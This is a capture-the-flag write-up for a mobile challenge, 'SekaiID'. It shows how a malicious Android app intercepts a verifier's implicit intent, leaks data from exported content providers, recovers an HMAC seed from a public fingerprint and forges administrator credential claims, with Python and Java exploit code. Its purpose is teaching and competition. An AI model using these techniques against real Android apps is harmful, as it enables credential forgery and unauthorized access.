← Back to Writeups
CUSTOMMediumMobile

SekaiID

XESXOR9/10/20263 min read
#mobile#custom#medium#android_ipc_abuse#credential_claim_forgery#hmac_forgery#implicit_intent_interception#native_library_reversal

SekaiID

Platform: CUSTOM | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: android_ipc_abuse, credential_claim_forgery, hmac_forgery, implicit_intent_interception, native_library_reversal

Summary

Walkthrough of the CUSTOM Mobile SekaiID. Task: Android credential-verifier setup with SekaiID.apk, Verifier.apk, and an ADB TLS proxy. Solution: intercept the implicit presentation intent, recover the HMAC seed from the public fingerprint, f

Description

Original task description was not present in the local notes. The distributed setup contained SekaiID.apk, Verifier.apk, and tls_proxy.py for accessing the Android instance over ADB.

English summary: SekaiID.apk is a wallet/credential provider and Verifier.apk asks it for a conference badge presentation. The goal is to make the verifier accept an administrator credential and read the flag from the admin dashboard.

Analysis

Static analysis of the manifests showed the important IPC surface:

  • com.sekai.id.IdentityProviderActivity is exported and handles com.sekai.id.ACTION_PRESENT_CREDENTIAL.
  • com.sekai.id.share.BadgeShareActivity is exported and handles com.sekai.id.ACTION_SHARE_BADGE for content://com.sekai.id.companion/... URIs.
  • com.sekai.id.companion.CompanionInfoProvider is exported as content://com.sekai.id.companion.info and leaks public badge metadata.
  • com.sekai.id.companion.CompanionProvider is not exported, but grants URI access through BadgeShareActivity.
  • Verifier.apk queries for ACTION_PRESENT_CREDENTIAL with an implicit intent, so a malicious APK can register the same action and be selected as the credential provider.

The native library libsekaibind.so was the key weakness. Its JNI wrappers return 32-byte values that Kotlin Base64-encodes without wrapping. The constants and formulas are:

python
SEP = b"\x1f"
DOM_BIND = b"SEKAI-ID:credential-binding:v2"
DOM_FP = b"pairing-fingerprint:v2"
DOM_CLAIMS = b"claims-tag"
DOM_AUTH = b"request-auth"

ks = SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey)
pairingFingerprint = seed32 XOR ks

bindingKey = HMAC_SHA256(seed32, DOM_BIND + SEP + credentialId + SEP + holderPublicKey)
claimsTag = HMAC_SHA256(bindingKey, DOM_CLAIMS + SEP + canonicalClaims)
requestAuth = HMAC_SHA256(bindingKey, DOM_AUTH + SEP + challenge)

Because CompanionInfoProvider exposes credentialId, holderPublicKey, and pairingFingerprint, the supposedly secret seed can be recovered:

python
seed32 = pairingFingerprint XOR SHA256(DOM_FP + SEP + credentialId + SEP + holderPublicKey)

That recovered seed is enough to compute both the requestAuth needed to ask the wallet for a real presentation and a new claimsTag for modified claims.

Solution

The exploit APK implements an activity with an intent filter for com.sekai.id.ACTION_PRESENT_CREDENTIAL. When Verifier starts a scan, Android offers the exploit as a credential provider.

Exploitation flow:

  1. Receive the verifier challenge from com.sekai.id.extra.CHALLENGE.

  2. Query content://com.sekai.id.companion.info/pubkey for the holder public key.

  3. Query content://com.sekai.id.companion.info/badge for credentialId and fingerprint.

  4. Recover seed32 from the public fingerprint formula.

  5. Compute requestAuth = HMAC(bindingKey, b"request-auth" + SEP + challenge).

  6. Start the real BadgeShareActivity with:

    text
    content://com.sekai.id.companion/badge?challenge=<challenge>&auth=<requestAuth>

    This returns a granted URI to CompanionProvider and yields a valid presentation/proof.

  7. Parse the JSON presentation, change:

    json
    {"accessProfile":"admin","department":"administration","credentialTier":"platinum"}
  8. Canonicalize the claims exactly as the verifier expects:

    json
    {"accessProfile":"admin","department":"administration","credentialTier":"platinum"}
  9. Recompute claimsTag = HMAC(bindingKey, b"claims-tag" + SEP + canonicalClaims).

  10. Return the forged presentation in com.sekai.id.extra.PRESENTATION with RESULT_OK.

The proof did not need to be re-signed: it remained a valid proof for the original credentialId and challenge. The verifier trusted the recomputed claimsTag for the revealed claims, and that tag was forgeable after recovering seed32.

Core exploit logic:

java
byte[] ks = sha256(concat(DOM_FP, SEP, utf8(credentialId), SEP, utf8(publicKey)));
byte[] seed = xor(Base64.decode(fingerprint, Base64.NO_WRAP), ks);

byte[] bindingKey = hmac(seed, concat(DOM_BIND, SEP, utf8(credentialId), SEP, utf8(publicKey)));
String requestAuth = b64(hmac(bindingKey, concat(DOM_AUTH, SEP, utf8(challenge))));

// After obtaining the legitimate presentation via BadgeShareActivity:
claims.put("accessProfile", "admin");
claims.put("department", "administration");
claims.put("credentialTier", "platinum");
String canon = "{\"accessProfile\":\"admin\",\"department\":\"administration\",\"credentialTier\":\"platinum\"}";
presentation.put("claimsTag", b64(hmac(bindingKey, concat(DOM_CLAIMS, SEP, canon.getBytes(UTF_8)))));

Finally, I connected to the instance through tls_proxy.py, installed the built exploit.apk, opened Verifier, started the verification flow, selected SEKAI ID Exploit in the chooser, and Verifier opened the administrator dashboard. The dashboard displayed /system/flag.txt.

Key Takeaways / Lessons

  • Mastering android_ipc_abuse, credential_claim_forgery, hmac_forgery, implicit_intent_interception, native_library_reversal was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-06-27 • CUSTOM • SekaiID • Difficulty: Medium